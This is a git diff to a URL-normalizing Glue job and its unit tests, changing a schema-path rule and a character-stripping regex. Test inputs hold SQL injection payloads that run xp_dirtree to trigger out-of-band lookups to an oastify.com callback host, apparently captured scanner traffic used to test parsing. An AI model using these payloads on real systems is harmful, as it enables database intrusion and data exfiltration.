diff --git a/src/scripts/glue_jobs/process_access_record.py b/src/scripts/glue_jobs/process_access_record.py
index 1aefcbc..ebc9f6a 100644
--- a/src/scripts/glue_jobs/process_access_record.py
+++ b/src/scripts/glue_jobs/process_access_record.py
@@ -117,13 +117,13 @@ def get_normalized_method_signature(requesturl):
         result = "/user/bundle"
     elif "/access/" in requesturl:
         result = "/objects/#/access/#"
-    elif "/schema/type/" in requesturl:
-        result = "/schema/type/#"
+    elif "/schema/type/registered/" in requesturl:
+        result = "/schema/type/registered/#"
     else:
         # find and remove substring in url starting from ';' until '/' if present.
         result = re.sub(r';[^/]+', '', requesturl)
-        # find and remove special characters in url
-        result = re.sub(r'[\'!@$%^&*()_+{}\[\]:;<>,.?~\\|=]+', '', result)
+        # find and remove any character that is not a word character (letters, digits, or underscores) or slash.
+        result = re.sub(r'[^\w\/]', '', result)
         # find and replace substrings with length >=2 in url containing ids with '#'. ID can start with 'syn',
         # 'fh' or digits.
         result = re.sub(r'\b(syn|fh)\d+(\.\d+)?\b|\b\d+(\w+)?[^/]\b', '#', result)
diff --git a/tests/test_process_access_record.py b/tests/test_process_access_record.py
index b5bccd2..38309d8 100644
--- a/tests/test_process_access_record.py
+++ b/tests/test_process_access_record.py
@@ -147,7 +147,7 @@ def test_normalized_signature_for_drs_object_for_fileHandleId(self):
         self.assertEqual(expected_output, real_output)
 
     def test_normalized_signature_for_schema_type(self):
-        expected_output = "/schema/type/#"
+        expected_output = "/schema/type/registered/#"
         real_output = process_access_record.get_normalized_method_signature(
             "/repo/v1/schema/type/registered/a245ac37480fc40739836ce61801d19f1-my.schema-0.36652.1")
         self.assertEqual(expected_output, real_output)
@@ -215,14 +215,16 @@ def test_normalized_signature_for_bundle(self):
             "/repo/v1/user/bundle;declare%20@q%20varchar(99);set%20@q='%5C%5Cb2eg7v959m35phq0mzthfsysajgf491a0yroff72xqm.oasti'+'fy.com%5Cfmt';%20exec%20master.dbo.xp_dirtree%20@q;--%20")
         self.assertEqual(expected_output, real_output)
 
-    def test_normalized_signature_for_twoFA(self):
+    def test_normalized_signature_for_two_fa(self):
         expected_output = "/2fa/enroll"
         real_output = process_access_record.get_normalized_method_signature("/auth/v1/2fa/enroll")
         self.assertEqual(expected_output, real_output)
 
-    def test_normalized_signature_for_twoFA(self):
-        expected_output = "/2fa/enroll"
-        real_output = process_access_record.get_normalized_method_signature("/auth/v1/2fa/enroll")
+    def test_normalized_signature_for_invalid_url(self):
+        expected_output = "INVALID URL"
+        real_output = process_access_record.get_normalized_method_signature("/repo/v1;declare%20@q%20varchar(99);"
+        "set%20@q='%5C%5Caq4fvux4xlr4dgezayhg3rmryi4es8p9oxfn3kqbe0.oasti'+' %5Cicr';%20exec%20master.dbo.xp_dirtree"
+         "%20@q;--%20/user/bundle")
         self.assertEqual(expected_output, real_output)
 
     def test_get_client_for_web(self):